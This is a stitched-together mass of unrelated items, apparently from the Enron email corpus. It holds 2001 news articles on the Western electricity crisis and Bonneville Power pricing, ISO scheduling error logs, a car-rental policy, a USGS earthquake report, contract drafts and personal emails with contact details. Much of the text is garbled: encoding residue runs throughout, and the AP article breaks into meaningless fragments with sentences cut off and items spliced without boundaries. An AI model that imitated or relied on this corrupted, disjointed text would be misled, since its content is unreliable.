Texas there is no concept whatsoever of the idea of ``public'' land, and ve=
ry=20
little concept of the ``public good.''=20
When Texas entered the nation, it did so as a sovereign nation, not a state=
.=20
What that meant is that Texas got to keep title to all the land that wasn't=
=20
in private hands. The federal government got nothing. The state kept it all=
.=20
And the state sold most of it as quickly as it could to private owners who=
=20
put fences around it and built vast oil and ranching empires.=20
The federal government got almost none of Texas land. What the government h=
as=20
acquired in modern times -- a national park here and there, a few military=
=20
bases -- it has paid good money for.=20
Despite Hollywood's best efforts to portray Texas as a mythic land of=20
romance, Texans have a very unromantic, realistic view of land. Land is to =
be=20
used for making money. Bring in the railroads. Plow the plains. Round up th=
e=20
cattle, and -- above all -- drill for oil so that you don't have to stumble=
=20
around in the dark, like those fuzzy-headed people in California.=20
It's difficult to exaggerate just how much importance Texans place on priva=
te=20
ownership of property. Property owners in Texas can do damn near anything=
=20
they want on their own land. They can pump all of the water they want out o=
f=20
public rivers that run in front of their land. They can -- and do -- shoot=
=20
people for trespassing.=20
In Texas there is an obligation to mind your own business -- and let everyo=
ne=20
else mind theirs. If your neighbor has an energy problem, the feeling is th=
at=20
your neighbor -- not the federal government -- better find a way to solve i=
t.=20
Finally, Californians should fear Texas because we sooooo envy you.=20
Who wouldn't envy a state that is synonymous with a dream, where imaginatio=
n=20
is valued as much as realism, where people openly pursue pleasure, where=20
mountains run down to the sea, and the climate is sublime all-year-round?=
=20
Envy is the price you people in California pay for living in Shangri-La.=20

Jan Jarboe Russell is a San Antonio Express-News columnist.=20

FERC may expand cap=20
Senators say regulators are set to extend price controls throughout the Wes=
t.=20
June 13, 2001=20
By DENA BUNIS
WASHINGTON Federal energy regulators are poised Monday to extend limited=20
price controls on the electricity market to 24 hours a day, seven days a we=
ek=20
throughout the Western states, California's senators said Tuesday.=20
If the Federal Energy Regulatory Commission does what Democratic Sens.=20
Barbara Boxer and Dianne Feinstein have heard it plans to do, it would=20
represent a further softening by FERC in the face of mounting political=20
pressure. FERC had adamantly opposed limits on a free electricity market=20
until April, when it approved its first limited controls.=20
Experts believe such a move could moderate wholesale prices, but to what=20
extent and what the effect could be on ratepayers is uncertain.=20
"It would be a step in the right direction," Boxer said Tuesday after she,=
=20
Feinstein and 40 California House members from both parties met with Vice=
=20
President Dick Cheney. "It still doesn't give us the kind of help with pric=
e=20
gouging that we need."=20
Cheney, who reiterated the administration's opposition to firm price caps,=
=20
told members who pressed him for a California-specific solution to watch wh=
at=20
FERC does at its meeting next Monday.=20
Two new FERC commissioners, recently appointed by President George W. Bush,=
=20
could be voting Monday. Energy watchers say their presence could turn FERC=
=20
into a more activist agency.=20
In April, FERC ordered a price-control plan based on a complicated formula =
of=20
what it costs generators to produce a kilowatt of electricity. But critics,=
=20
particularly FERC Commissioner Richard Massey, called it meaningless becaus=
e=20
it only applied during shortages and did not extend beyond California.=20

Lower Electric Rates in West Sought=20

By H. JOSEF HEBERT
Associated Press Writer
WASHINGTON (AP) via NewsEdge Corporation -=20
Federal regulators came under growing congressional pressure Tuesday to act=
=20
further to lower the price of electricity in the West and stem alleged abus=
es=20
by power producers.=20
=20
gy=20
s=20
l=20
to=20
=20
=20
=20
=20
=20
=20
n=20
remains opposed ``to any type of price control legislation,'' according to=
=20
al=20
=20
``I hope that FERC will act more aggressively,'' Bingaman said during an=20
energy forum, ``and we will not have to have legislation.''=20
=20
=20
ce=20
.=20
st=20
=20
t=20
=20
rs=20
=20
=20
April.=20
=20
=20
=20
=20
=20
s=20
e,=20
=20
``There have been no instances where price caps have worked,'' insisted=20
Barton at an energy forum sponsored by The Atlantic Monthly. The recent=20
easing of electricity prices shows ``the market has begun to work,'' he sai=
d.=20
at=20
price caps pegged to the cost of producing power are needed ``to restore=20
reliable and affordable'' electricity supplies.=20
``Price controls are catastrophic,'' retorted Majority Leader Dick Armey,=
=20
R-Texas. ``If you want blackouts in California, have price controls. He and=
=20
___=3D ?On the Net: Federal Energy Regulatory Commission: http://www.ferc.g=
ov/ ?Senate Governmental Affairs Committee witness list: ?http://www.senate=
.gov/(tilde)gov_affairs/061301witness_list.htm ??????????????By Kathleen Mc=
Fall?kmcfall@ftenergy.com?"BPA has a dirty little secret," says the announc=
er in a recent television ?advertisement blitz airing in Pacific Northwest =
markets. In a nutshell, the ?ads charge that because the Bonneville Power A=
dministration (BPA) sold ?wholesale power outside the region while also con=
tracting for more power than ?it generates, the agency is now forced to rai=
se rates so high the aluminum ?industry cannot profitably operate.??It's no=
 surprise the ads are financed by the aluminum industry. Nor is it ?surpris=
ing, BPA says, that the television spots present partial facts ?distorted t=
o the advantage of these direct-service industries (DSI). ??"There is no le=
gal requirement for BPA to sell power to the DSIs=01([rather] BPA ?is direc=
ted by statute to sell federal power to the greatest benefit of the ?widest=
 number of people, with preference to publicly and cooperatively owned ?uti=
lities," retorted BPA, putting its own spin on the situation. ??The fact th=
at some aluminum companies resold their allocation of BPA's cheap ?power to=
 the spot market at an astronomical rate this past summer, pocketing ?milli=
ons of dollars in profit for investors, has done little to provoke ?sympath=
y for the industry. On the other hand, the prospect of putting ?thousands o=
f aluminum employees out of work pulls on local heartstrings. ???At the cor=
e of this war of words, however, is a much bigger issue, one that ?brings t=
he region's low-cost hydropower into question. ??"Does the federal governme=
nt have any business being in the electricity ?business in the 21st century=
?" asks a new report by the Northeast-Midwest ?Institute. "Is there some ma=
rket distortion that requires federal ?intervention?" ??"As summer's rising=
 temperatures increase the chances for blackouts=01(more eyes ?in Washingto=
n D.C. have turned to the Northwest's electric resource=01*the ?Columbia Ri=
ver hydropower system," said an editorial in The Oregonian, one of ?the maj=
or newspapers in the region. "They want the Bonneville Power ?Administratio=
n to start charging market rates for power." ??Coveting Northwest power?In =
accordance with its statutory mission, BPA sells its power at near-cost ?ra=
tes and gives preference to power providers in Oregon, Washington, Idaho, ?=
western Montana and small portions of Wyoming, Nevada, Utah, California and=
 ?eastern Montana. According to the agency, half the power BPA sells goes t=
o ?public utility districts, city light departments and rural electric ?coo=
peratives. About 15% of BPA's annual sales are to investor-owned utilities =
?such as PacifiCorp, and another 25% are allocated to aluminum companies an=
d a ?few other large industries. Once these obligations are met, surplus po=
wer can ?then be sold outside the agency's territory. ??BPA's current rate-=
increase controversy has its roots in the fact that the ?agency previously =
signed contracts to sell more power than it generates. ?Critics contend the=
 agency engaged in overly optimistic power contracts, ?expecting a stable s=
pot market and ample rainfall=01*neither of which occurred ?this year=01*le=
aving BPA unable to fulfill its contractual obligations. ??Consequently, th=
e agency has suffered severe financial blows as it has been ?increasingly f=
orced to buy power from the volatile spot market. To protect ?itself, BPA a=
nnounced in April that without load reductions, it would be ?forced to rais=
e wholesale rates by 200% to 300%. Last week, acting director ?Steven Wrigh=
t announced that he believed the increase could be held to under ?100% due =
to buybacks, conservation and other aggressive attempts to reduce ?load, in=
cluding a strategy that will idle the energy-intensive aluminum ?smelters t=
o save about 1,000 average megawatts. ??This very public attempt to reduce =
its load has put the agency's pricing ?approach on the hot seat and has cri=
tics arguing there is no reason why BPA's ?prices should not be market-base=
d. ??"When the federal government sells other property=01*everything from t=
imber to ?used computers=01*it relies on the market and open auctions. That=
 approach ?maximizes the value of the federal property to the benefit of al=
l taxpayers," ?said the Northeast-Midwest report. ??Subsidy or geographic l=
uck? ?BPA prices its power at the lowest it can while still recovering cost=
s, ?including the costs of its environmental obligations, such as to endang=
ered ?salmon in the Columbia River watershed. The Northeast-Midwest report =
claims ?that the differential between market wholesale prices and the agenc=
y's ?"at-cost" power rates provide a $16 billion to $34 billion benefit to =
the ?Pacific Northwest region. ??"BPA's low-cost power is distributed to mu=
lti-millionaires, aluminum ?companies and others who happen to live in the =
service territory of Northwest ?government-owned and cooperative utilities =
that 65 years ago were identified ?as having preference," charges the repor=
t. ???The central argument against federal agencies selling power at cost i=
s based ?on the false premise that hydropower and the BPA are subsidized by=
 U.S. ?taxpayers. ??Also overlooked by critics is the role the agency has c=
ome to play in the ?management of the Columbia River watershed. BPA fulfill=
s environmental ?obligations, such as protection and enhancement of fish an=
d wildlife, and ?provides leadership in conservation and renewables develop=
ment. Equally ?significant, the Columbia River basin is located in the Paci=
fic Northwest, ?and many argue that it is the region that should benefit fi=
rst from its use, ?just as the Mississippi, for example, provides benefits =
for the region it ?flows through. ??"BPA and its practices persist and thri=
ve only because few, even in the ?Northwest, are willing to invest the time=
 and energy to understand the ?convoluted arrangement the agency and the No=
rthwest congressional delegation ?have constructed over the years," says th=
e report. ??But if the agency were to operate with a for-profit approach, a=
rgues BPA ?proponents, where would the profits go? If the money were used o=
utside of the ?region, Northwest ratepayers would be subsidizing the rest o=
f the country. If ?used inside the region, why not continue the situation a=
s it is? ??BPA's cost-of-service pricing is a bedrock component of the regi=
on's economy ?and is unlikely to be given up without a fight. ??"The Northw=
est delegation must take this attack seriously and=01(should protect ?the r=
egion's natural resources and hydropower system," concludes The ?Oregonian.=
??????A Section ?No Energy Price Caps, Cheney Tells Calif.; Hill's Democrat=
s Warn of 'Disaster'?Juliet Eilperin?? ?06/13/2001 ?The Washington Post ?FI=
NAL ?Page A11 ?Copyright 2001, The Washington Post Co. All Rights Reserved =
?Vice President Cheney reiterated the administration's opposition to placin=
g ?limits on electricity prices in a meeting with 40 California lawmakers ?=
yesterday. ?The one-hour session marked the first time a senior White House=
 official had ?met with Democratic and Republican members to discuss the st=
ate's energy ?crisis. But the Capitol Hill meeting grew testy at times, law=
makers said, and ?highlighted how the two parties remain sharply divided on=
 how to provide ?relief to California consumers, who face big electricity p=
rice increases and ?the possibility of higher rates this summer. ?"This is =
a disaster of national proportions," said Rep. Sam Farr (D-Calif.) ?in a pr=
ess conference after the meeting. "We're here, in a bipartisan ?fashion, to=
 convince the administration not to just sit back and watch ?California bur=
n." ?Much of the meeting focused on whether the White House should encourag=
e the ?Federal Energy Regulatory Commission to impose price caps on Califor=
nia ?energy producers. Cheney said such a move would not ease the state's e=
nergy ?supply problem. ?"Price caps don't produce kilowatts -- he said it o=
ver and over again," ?recalled Rep. Maxine Waters (D-Calif.). ?Rep. Anna Es=
hoo (D-Calif.) -- said she drew a retort from the vice president ?when she =
offered, while he was speaking, that caps did not amount to price ?controls=
. "He said, 'You're being rude,' " said Eshoo, who said Cheney ?repeatedly =
looked at his watch during the meeting. ?Republicans who attended the meeti=
ng, by contrast, suggested the ?administration signaled that it was more op=
en to providing regulatory relief ?to California . Rep. Darrell Issa (R-Cal=
if.) said Cheney gave a short ?presentation in which he chronicled "a growi=
ng escalation of engagement by ?the administration." ?"Everyone is focused =
on this issue," said Rep. David Dreier (R-Calif.). ?Cheney spent most of th=
e meeting listening to the 16 Republicans and 24 ?Democrats who attended th=
e session, advising them to wait and see whether ?FERC officials will provi=
de more help to the state during the commission's ?meeting next Monday. He =
also promised to keep in touch with a bipartisan ?working group composed of=
 California lawmakers. ?"In the meeting, the vice president asked the Calif=
ornia delegation to ?continue to think about potential solutions to the ene=
rgy crisis," said ?Cheney spokeswoman Juleanna Glover Weiss. "The administr=
ation is eager to ?consider any new ideas and proposals." ??http://www.wash=
ingtonpost.com ?Contact: http://www.washingtonpost.com

We would like to give everyone an update on activities surrounding our DRA (BCP).   Please feel free to invite anyone we may have missed from our distribution list.

Thanks.  Jean and Bob

Start Date: 4/10/01; HourAhead hour: 21;  No ancillary schedules awarded.  

ERROR: File O:\Portland\WestDesk\California Scheduling\ISO Final 
Schedules\2001041021.txt is empty.
Schedules\2001041021.txt

     Details: (Hour: 21 / Preferred:  24.00 / Final:  23.99)
  TRANS_DATE: 4/10/01
  INTERCHG_ID: EPMI_CISO_DESERT

Car Rental Options for Enron Travelers

Rental car contracts for 2001 have been awarded to:

National Car Rental (Primary) and  Alamo Rent-A-Car (Secondary).  

The intent of these agreements is to consolidate and leverage Enron's total 
car rental spend to achieve the most favorable rates and non-pricing 
provisions (i.e. insurance).

National Car Rental, due to its service levels, availability and total value 
proposition, has been awarded Primary status and is recommended as the first 
choice for Enron travelers' needs.

Alamo Rent-A-Car, a sister company to National, has been awarded a contract 
reflecting a Secondary status, due to its service levels, availability and 
low cost solutions.  Alamo is recommended as an alternative to National, 
where available.

When you rent a vehicle in the United States, (including Puerto Rico) or 
Canada, the following insurance provisions are included, regardless of rate 
selected: 
1. L/DW (Loss/Damage Waiver) - This is what is called Comprehensive or 
Collision on your personal auto. It covers the rental vehicle and pays for 
any damage to it. 
2. Liability - This covers people and property outside the rental vehicle. 
For both National and Alamo, the coverage is $100,000 per person, $300,000 
per occurrence and $50,000 for property damage. 
** IMPORTANT ***
These coverages apply regardless of rate selected, as long as the following 
contract ID is communicated at the time of reservation and rental is recorded 
on the transaction rental agreement.  (National -  5000838 Alamo    - #143974)
To enjoy the highest levels of service while renting a vehicle from Enron's 
preferred suppliers, it is recommended that each traveler enroll in 
National's and Alamo's preferred traveler programs.  National's Emerald Club 
membership and Alamo's Quicksilver program are designed to speed the 
transaction time by providing services such as counter bypass and rapid 
return.  The enrollment fees for these programs have been waived for Enron 
travelers.  Enrollment packets will be mailed to the addresses of Enron 
American Express T&E Cardholders.  You may also find an enrollment form on 
the Enron Travel Program intranet @ gss.enron.com <http://gss.enron.com/>.

If you have any questions or comments, please contact Jeff Leath at 
713-646-6165.
 
Start Date: 4/15/01; HourAhead hour: 9;  No ancillary schedules awarded.  

Schedules\2001041509.txt

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  TRANS_DATE: 4/15/01
  INTERCHG_ID: EPMI_CISO_LUCKY

Rebecca:

Please review the attached balance sheet with Matt and get his sign off as 
soon as possible.

Thanks,

Ben
---------------------- Forwarded by Ben Jacoby/HOU/ECT on 12/07/2000 10:17 PM 

"Keffer, John" <JKeffer@KSLAW.com> on 12/07/2000 04:47:34 PM
To: "'Ben.F.Jacoby@enron.com'" <Ben.F.Jacoby@enron.com>
cc:  
Subject: FW: Guaranty and Balance Sheet

I meant to copy you as well

From: Keffer, John
Sent: Thursday, December 07, 2000 4:46 PM
To: Mann, C. Kay

FYI-we'll take a look at their drafts

From: Reynaud, Ann [mailto:AREYNAUD@Coral-Energy.com]
Sent: Thursday, December 07, 2000 4:45 PM
To: Keffer, John; Campbell, Carolyn
Subject: Guaranty and Balance Sheet

Attached is a draft of the guaranty and balance sheet.  Please call me with
your comments at (713) 767-5418.

 <<Balance Sheet.doc>>  <<EnronNorth.doc>>

 - Balance Sheet.doc
 - EnronNorth.doc

re: Coal fired plant we discussed with Mitch and John.
---------------------- Forwarded by Kay Mann/Corp/Enron on 04/05/2001 03:58 

John Moore
04/04/2001 10:27 AM
cc:  

Subject: BPUB LOI

Kay,

I fiddled a little with the BPUB LOI.  You can see the redlined changes in 
the attached document.  Kathleen FEDEX'ed two CA orginals to BPUB yesterday 
evening and the plan is for them to sign the CA today, I will then email a 
clean LOI to BPUB and to their outside counsel, Davidson, in 
San Antonio.

JMoore

eSource Launches eSearch Site Bringing Research to Your Desktop

eSource, Enron's premier research group, launched their new product, eSearch, 
on December 8, 2000. 

eSource's team of specialized researchers have created a web site to bring 
information and research to every employee's desktop.  The eSearch web site 
offers many links to information resources, access to research databases, 
specialized searches, sites to purchase books, articles, and reports, and 
training.  Employees can use the web site to conduct their own research or as 
a vehicle to submit research requests.  eSource's researchers and industry 
specialists are available to all Enron business units to provide timely and 
cost efficient research, to work with individuals or groups to fulfill one 
time research requests, or to design ongoing, customized monitoring projects 
or news updates.

The preferred browser is Internet Explorer

Join us for a demonstration and training session on Friday, December 15th at 
1:00-1:30 and 2:00-2:30 in room EB5C2.

Discover a Wealth of Information at Your Desktop

Start Date: 1/2/02; HourAhead hour: 2;  No ancillary schedules awarded.  No variances detected. 

PARSING FILE -->> O:\Portland\WestDesk\California Scheduling\ISO Final Schedules\2002010202.txt
!!!General SQL error.
Couldn't update; currently locked by user 'admin' on machine 'ECTHOU-BPS4'.
Table
!!!A user transaction is already in progress.

     Details:

  TRANS_DATE: 1/2/02
  TIE_POINT: MALIN_5_RNDMTN
  INTERCHG_ID: ENRJ_CISO_3001
     Details:

  INTERCHG_ID: ENRJ_CISO_7000
     Details:

  TIE_POINT: MEAD_2_WALC
  INTERCHG_ID: ENRJ_CISO_8000

     Details:

     Details:

     Details:

     Details:

     Details:

  LOAD_ID: SDG1

PRELIMINARY EARTHQUAKE REPORT
Rapid Earthquake Location Service
U.S. Geological Survey, Menlo Park, California
U.C. Berkeley Seismological Laboratory, Berkeley, California

Version 2: Updates lower and earlier versions of this earthquake report

A LIGHT EARTHQUAKE OCCURRED AT 10:33 AM PDT Monday, Jul 02, 2001.
THE MAGNITUDE 4.1 (ML) EVENT IS LOCATED   7 MILES S   OF TRES PINOS, CA
THE HYPOCENTRAL DEPTH IS   3.9 MILES.

This event has been reviewed by Steve Walter - USGS.

PRINCIPAL EARTHQUAKE PARAMETERS
_______________________________

Magnitude              : 4.08  ML
Event Date & Time      : 07/02/2001   10:33:53 AM PDT
07/02/2001   17:33:53    UTC
Location               : 36.6943 N, 121.3328 W
            : (36 deg. 41.66 min. N, 121 deg. 19.97 min. W)
Depth                  :    6.3 km. deep (   3.9 miles)
Location Quality       : Good

11 km (  7 miles) S   (186 degrees) of Tres Pinos, CA
19 km ( 12 miles) SSE (161 degrees) of Hollister, CA
23 km ( 14 miles) NNE ( 25 degrees) of Gonzales, CA
25 km ( 15 miles) NW  (317 degrees) of Pinnacles National Monument, CA
25 km ( 15 miles) SE  (133 degrees) of San Juan Bautista, CA

ADDITIONAL EARTHQUAKE PARAMETERS
________________________________

number of phases             : 118
rms misfit                   :   0.06 seconds
horizontal location error    :   0.1  km
vertical location error      :   0.4  km
maximum azimuthal gap        :  94    degrees
distance to nearest station  :   6.   km
event ID:   51109274

EDIS-07-02-01 1041 PDT

We received the executed EEI Master Power Purchase and Sale Agreements dated 11/13/01 and 11/7/01, respectively, from the referenced CP.  The documents will be scanned into Livelink.

	I have nothing with or pertaining to Ormat to the best of my knowledge.

From: 	Mahabir, Alisha  
Sent:	Tuesday, July 10, 2001 10:02 AM
To:	Young, Kay
Subject:	Data Sheet Check

Hi Kay,

I am sending this to you on behalf of Gerald Nemec.  If there are any problems, you can contact me via email or at extension 52722.

Alisha

 << File: CIGData Sheet.DOC >> 

The real time weighted average price for fixed price products for May can be 
found on the Fundy site under Price Data/EOM Price Index.  Let me know if you 
Note: If the product has not traded it will not show in the list.

Thanks to Colin Tonks and Lindon Chiu for your help.

Greg,

Attached for your review and comment is the Rio Nogales Power Project 
Interconnect Agreement.  
As always it is a pleasure working with you.  Have a great Christmas.

Thanks,

According to the LA TImes, we know the SEC has launched a preliminary 
investigation into whether Davis administration staff used inside information 
to buy stock.  In that case, it's a big question whether proprietary 
information not available to the public was properly safeguarded.

I think this is further evidence that the information requeted from Enron by 
the CA State Senate could be in similar jeopardy.

----- Forwarded by Gloria Solis/HOU/ECT on 09/19/2000 01:22 PM -----

	Christi L Nicolay
	09/19/2000 10:12 AM
		 
		 To: Gloria Solis/HOU/ECT@ECT
		 cc: 
		 Subject: TLR data to FERC

Please email to Steve Kean.
---------------------- Forwarded by Christi L Nicolay/HOU/ECT on 09/19/2000 
10:00 AM ---------------------------
   
	From:  Christi L Nicolay                           09/19/2000 10:10 AM
	
To: Joe Hartsoe/Corp/Enron@Enron, James D Steffes/HOU/EES@EES, Charles 
Yeung/HOU/ECT@ECT, Sarah Novosel/Corp/Enron@Enron, Donna 
Fulton/Corp/Enron@ENRON, Richard Shapiro/HOU/EES@EES, Elizabeth 
Sager/HOU/ECT@ECT, Lloyd Will/HOU/ECT@ECT, Steven J Kean/HOU/EES@EES
cc:  

Subject: TLR data to FERC

Betsy and I talked about this today and I told her to send it to FERC.  This 
shows that the most TLRs were called by AEP as security coordinator in Summer 
2000.

brca@dynegy.com on 09/19/2000 09:41:18 AM
To: scott.miller@ferc.fed.us, kim.bruno@ferc.fed.us, JJHA@dynegy.com, 
cnicola@enron.com, chrm@dynegy.com, pges@dynegy.com
cc:  

Subject: 

Scott and Kim, here is some more EYE POPPING TLR data for your investigation.
Betsy Carr

Vann Prater
09/18/2000 07:36 PM

To:   Chris Moser/NGCCorp@NGCCorp, Jolly  Hayden
cc:

Subject:  TLR Logs

FYI
---------------------- Forwarded by Vann Prater/NGCCorp on 09/18/2000 07:35 PM

Don Benjamin <don.benjamin@nerc.com> on 09/18/2000 10:58:50 AM

To:   don.benjamin@nerc.com
cc:    (bcc: Vann Prater/NGCCorp)

Dear OC, MIC, AC, SCS, Regional Managers:

Here are the monthly and Security Area TLR Log graphs with updates from TVA
and Allegheny Power.

Note to SCS:  Please check to make sure the data we have for you is correct.

Joe will update these graphs monthly.

don.

 - LogProgression5.xls
 - LogProgression_BySecCoor6.xls

I don't miss Reliant at all.  I love it over here.  Lots to do and.. I am
learning all sorts of stuff - hopefully will be able to transfer into
something different eventually.

Have fun at the Kentucky Derby - is this a company sponsored thing?

From: Clint.Dean@enron.com [mailto:Clint.Dean@enron.com]
Sent: Thursday, May 03, 2001 10:29 AM
To: Mobley, Rena
Subject: RE: May Birthday Bash (Andrea, Hilary, Marnie & Rena)

Okay, just as long as you'll be there looking hot.  Its nice to finally
hear from you since you've been over there.  Do you miss Reliant?  Is El
Paso treating you well?  I'm doing well, but drinks will have to wait.  I'm
working very hard right now.  I'm going to the Kentucky Derby this weekend.
It should be fun.  John Kim is going as well.

"Mobley, Rena" <Rena.Mobley@ElPaso.com> on 05/03/2001 09:57:32 AM

To:   "'Clint.Dean@enron.com'" <Clint.Dean@enron.com>
cc:

Subject:  RE: May Birthday Bash (Andrea, Hilary, Marnie & Rena)

you know my strategy!!!!  no beautiful women around me!!!!!!  so.. you are
out of luck unless you come to just see me!!!!

just kidding - I have NO idea but.. should be a few at least.

How are you?  When do you want to get together and have a drink?

Sent: Thursday, May 03, 2001 9:48 AM
To: rena.mobley@elpaso.com
Subject: Re: May Birthday Bash (Andrea, Hilary, Marnie & Rena)

How many hot chicks will be there?

sender.

sender.

Burlington: pcervin@br-inc.com, Conoco: Teddy.G.Jones@usa.conoco.com, 
Reliant: thomas_j_toerner@reliantenergy.com

---

Dan and Michelle;

Further to Bruce's note the other day,  could we use something like the
following in the two Enron/CEMC agreements? - to be inserted in Other
Conditions immediately following the para. providing for the 9:45
notification.

Notwithstanding anything to the contrary herein or in the Enfolio Spot
General Terms and Conditions each party shall, in addition to the other
remedies hereunder, be liable to reimburse the other for any imbalance
charges, loan costs, or similar charges reasonably incurred by the other as
a result of the failure:

a) in the case of Enron, to provide the delivery information required by
9:45 am on each Nomination Day; and

b) in the case of Customer, to forward such information to Alliance Pipeline
on each Nomination Day in a timely manner.

Return-path: <accthelp@cooltravelassistant.com>
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Date: Fri, 30 Mar 2001 08:48:03 -0800
From: accthelp@cooltravelassistant.com
Subject: eService Online Flight Purchase Confirmation
To: sshackl@swbell.net
Message-id: <0bd190248161e31CPTRSMTP01@smtpout.expedia.com>

Thank you for booking your travel with Continental Airlines.
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you specified, plus a Payment Receipt to the address that appears on
your credit card statement.

When you arrive at the airport on the day of your flight please
provide the ticket agent with your last name, flight number and photo
identification to receive your boarding pass(es).  For curbside check-in,
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E-Ticket customers can also use one of our automated eService Centers
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If E-Tickets are not available for your flight(s), or you have
elected to receive a paper ticket, we will send your ticket(s) and
receipt(s) to the address you specified during the booking process. If
your date of departure is:

-- within 3 days and E-Ticket is available for your flight(s), an
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   have been prompted online to call Continental Airlines eService Online at 
1 (888) 815-2665 to arrange
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-- between 3 and 7 business days from today, by  2nd day or overnight
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-- more than 7 business days from today, by U.S. mail.

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We wish you a pleasant trip and look forward to serving you
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on the weekend!  unfortunately wade is not that dumb!

Sent:	Monday, November 26, 2001 2:18 PM

its easy you are going there for work

Sent:	Monday, November 26, 2001 2:12 PM
Subject:	

stop ignoring me!  i'm bored!

i like it - how much?

From: K. Bass [mailto:daphneco64@alltel.net]
Sent: Saturday, November 10, 2001 3:44 PM
Subject: Thomasville Furniture Ind. Millbrook Rectangular Cocktail Table

pretty table

  <http://www3.thomasville.com/Products/product.asp?ItemID=560> 

94

michael.byrne@americas.bnpparibas.com on 02/28/2001 07:13:22 AM
To: michael.byrne@americas.bnpparibas.com
cc:  
Subject: BNP PARIBAS Commodity Futures Weekly AGA Survey

Just a reminder to get your AGA estimates in by Noon EST (11:00 CST) TODAY.

Last Year      -74
Last Week      -81

Thanks,
Michael Byrne
BNP PARIBAS Commodity Futures

----

I'm not showing I looked at this list at all.  Isn't that right?

	Nicole Hunter@ENRON
	03/28/2001 08:55 AM
		 
		 cc: 
		 Subject: Click Paper Approvals, 03-14-01

Tana-

There was one missed counterparty on this approval from credit.  Please 
review Record Herald Publishing Company from the approval below.

Thanks,

Nicole
---------------------- Forwarded by Nicole Hunter/NA/Enron on 03/28/2001 
To: Kelly Lombardi/NA/Enron@Enron, Samuel Schott/HOU/ECT@ECT, Bernice 
Rodriguez/HOU/ECT@ECT, Bill D Hare/HOU/ECT@ect, Steve Venturatos/HOU/ECT@ECT, 
Camille Gerard/Corp/Enron@ENRON, Mary G Gosnell/HOU/ECT@ECT, Samuel 
Schott/HOU/ECT@ECT, Tanya Rohauer/ENRON@enronXgate, Tom 
Ken Curry/ENRON@enronXgate, Nicole Hunter/NA/Enron@Enron
cc:  
bcc: 

Subject: Click Paper Approvals, 03-14-01

Please see attached. The ammendments are specified in purple.

Regards,

Aparna Rajaram
ext. 5-4563

Jennifer,

My pay stub seems to be lost in in the abyss. Is there someone I can call to 
make sure it finds me?

Chris

Title: Searching for the Bottom
URL(s):

http://www.cera.com/eprofile?u=35&m=2929;

GAS PRICES CONTINUE DOWNWARD DRIFT--HIGH STORAGE, LOW DEMAND

While warm weather keeps heating loads low, the key driver in natural gas
markets continues to be the looming storage surplus. Weather may provide some
short-lived price spikes in February, but until real evidence of the
anticipated decline in US supply appears, prices will feel continued downward
pressure from record-high storage inventories. The projected February average
price is $2.10 per MMBtu at the Henry Hub.

* March storage inventories will end at record high levels. Ample gas remains
to keep prices low until a rebounding economy and declining supplies can
provide a lift.

* With return to a normal weather, strong industrial loads will boost overall
gas demand slightly over last year's levels.

* Diminishing weather-related support and high western storage inventories will
drive widening discounts to the Henry Hub in the western producing areas, while
weak demand and high storage will limit premiums in the East.

**end**

Follow above ULR for complete CERA Monthly Briefing (7 printed pages).

E-mail Category: Monthly Briefing
CERA Knowledge Area(s): North American Gas

*****************************************************************************************
CERAWeek2002 - February 11-15, 2002 - 21st Annual Executive Conference and
Related Events REGISTER ONLINE TODAY AT:  http://www.cera.com/ceraweek
** Two- and Four-day Passes Available
** Special Enrollment Programs
** Partnership Opportunities
** CERAWeek Online Premium Access

Vince,

these are the contacts from UH.  
I would recommend that for a first contact the following people be involved:
Larry Pinsky (PhysicsChair)
Joe McCauley (professor)
George Reiter (professor)
Their coordinates and some schedules are below.    If Larry is out of town, 
prof. Gunaratne would be a good alternative.

Please let me know how I can help further.

Yannis
---------------------- Forwarded by Yannis Tzamouranis/HOU/ECT on 05/08/2000 
03:11 PM ---------------------------

"Prof. Lawrence Pinsky" <pinsky@uh.edu> on 05/08/2000 09:10:54 AM
To: Yannis.Tzamouranis@enron.com
cc: jenni@mailman.enron.com, jmccauley@uh.edu, greiter@uh.edu, gemunu@uh.edu 
Subject: Contacts at UH for "Econo-physics"

Yannis:
 Let me give you the names and contact information regarding the
appropriate personnel here to include in an initial discussion regarding
the prospects for developing a program here in (we have to find a better
name) "econo-physics."  For an initial meeting it is reasonable to include
Professores McCauley and Reiter as well as myself, if I am available.  If I
am not available you should consider including Professor Gemunu Gunaratne,
our current Associate Chair and a theoreticial with an interest in this
area in his own right.

 Professor Joseph McCauley

  Phone: 713 743 3528
  Fax: 713 743 5389
  Email: jmccauley@uh.edu

 Professor George Reiter

  Phone: 713 743 3527
  Fax: 713 743 3589
  Email: greiter@uh.edu

 Professor & Chair Lawrence Pinsky

  Phone: 713 743 3552
  Email: pinsky@uh.edu

OR an alternate for me:

 Associate Professor and Associate Chair Gemunu Gunaratne

  Phone: 713 743 3534
  Email: gemunu@uh.edu

Also, FYI, one other new faculty member with a potential interest in this
field is:

 Assistant Professor (effective 6/1/2000) Kevin Bassler

  Phone: 713 743 3568
  Email: Bassler@uh.edu

General Administrative Contact:

 Ms. Jennifer Chin-Davis, Department Business Administrator

  Phone: 713 743 3524
  Email: jenni@shasta.phys.uh.edu

FYI, I will be in Houston May 17-24, June 9, 19-23.  If the meeting is held
on another date, please include Prof. Gunaratne in my place...

     Larry

Ken hasn't mentioned it.  I'll ask next time I talk to him.

Linda Robertson
07/03/2001 01:58 PM
To: Steven J Kean/NA/Enron@Enron, Richard Shapiro/NA/Enron@Enron
cc: Pat Shortridge/Corp/Enron@Enron, John Shelk/NA/Enron@Enron 

Subject: Purported Ken Lay Promise to Haley Barbour

Pat Shortridge heard from the Executive Director of the Republican Senate 
Campaign Committee that Haley Barbour, the new finance chair for the 
Committee, had called Ken to request that he serve as a Finance 
Co-Chairman.   Pat was told that Ken agreed.  Have you heard of this call and 
did Ken agree?Thanks

Tracy, how is this:

Regarding the "Transfer" language for Allegheny (Party B), we have the 
following proposal:

"Party B may transfer its rights and obligations under this Agreement, in 
whole but not in part, to any Affiliate provided that (1) such transfer will 
not give rise to a Termination Event or an Event of Default, and (2) (i) the 
creditworthiness of the Affiliate is not materially weaker than that of Party 
B immediately prior to such transfer, unless Party B provides a satisfactory 
guaranty or credit support to the Affiliate, or (ii) the proposed Affiliate 
satisfies the criteria that Party A applies in deciding whether to offer or 
make an extension of credit or to enter into transactions similar to the 
Transactions subject to the proposed transfer."

	"Yaish, Yair (OGC)" <YYaish@exchange.ml.com>
	04/13/2001 08:42 AM
		 
		 To: "'Sara.Shackleton@enron.com'" <Sara.Shackleton@enron.com>
		 cc: 
		 Subject: RE: ISDA Schedule/Paragraph 13

I hope to leave by 3:30 Eastern Time.  Thanks for getting back to me so 
